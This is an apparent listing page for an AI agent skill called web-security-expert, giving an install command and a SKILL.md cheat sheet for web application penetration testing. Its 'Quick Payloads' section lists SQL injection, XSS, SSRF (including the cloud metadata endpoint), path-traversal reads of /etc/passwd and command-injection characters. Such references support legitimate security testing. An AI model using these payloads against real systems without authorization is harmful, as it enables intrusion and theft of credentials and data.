Install
Works with every agent the skills CLI supports.
npx skills add https://github.com/duck4nh/antigravity-kit --skill web-security-expert- 01
Install
Run the command in your project. The CLI asks which agents to install for.
- 02
Describe the task
Ask your agent for something this skill covers. It loads web-security-expert automatically when relevant.
- 03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.
SKILL.md
The instructions your agent reads when the skill is triggered.
Web Security Expert
OWASP Top 10 Quick Reference
| Vuln | Test | Payload Example |
|---|---|---|
| SQLi | ', ", 1 OR 1=1 | ' UNION SELECT null,username,password FROM users-- |
| XSS | <script>, event handlers | <img src=x onerror=alert(1)> |
| SSRF | Internal URLs | http://127.0.0.1, http://169.254.169.254 |
| IDOR | Change IDs | /api/user/123 → /api/user/124 |
| LFI | Path traversal | ../../../etc/passwd |
| RCE | Command chars | ; id, ` |
Testing Checklist
Authentication
- Brute force protection
- Password reset flaws
- Session fixation
- JWT vulnerabilities
Authorization
- IDOR on all endpoints
- Privilege escalation
- Missing function level access
Input Validation
- SQLi all parameters
- XSS reflected/stored
- Command injection
- File upload bypass
Quick Payloads
# SQLi
' OR '1'='1
' UNION SELECT null,null,null--
'; WAITFOR DELAY '0:0:5'--
# XSS
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
javascript:alert(1)
# SSRF
http://127.0.0.1:80
http://[::]:80
http://169.254.169.254/latest/meta-data/
# LFI
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd
Tools
| Purpose | Tool |
|---|---|
| Proxy | Burp Suite, OWASP ZAP |
| SQLi | sqlmap |
| XSS | XSStrike, dalfox |
| Fuzzing | ffuf, wfuzz |
FAQ
What does the web-security-expert skill do?
Web application security expert. OWASP Top 10, XSS, SQLi, CSRF, SSRF, authentication bypass, IDOR. Use for web app security testing.
How do I install web-security-expert?
Run npx skills add https://github.com/duck4nh/antigravity-kit --skill web-security-expert in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/web-security-expert/ (personal) or .claude/skills/web-security-expert/ (project).
Which AI agents can use web-security-expert?
Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.
Is web-security-expert safe to install?
No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.
Who maintains web-security-expert?
It is published by duck4nh in duck4nh/antigravity-kit. It has 138 recorded installs.
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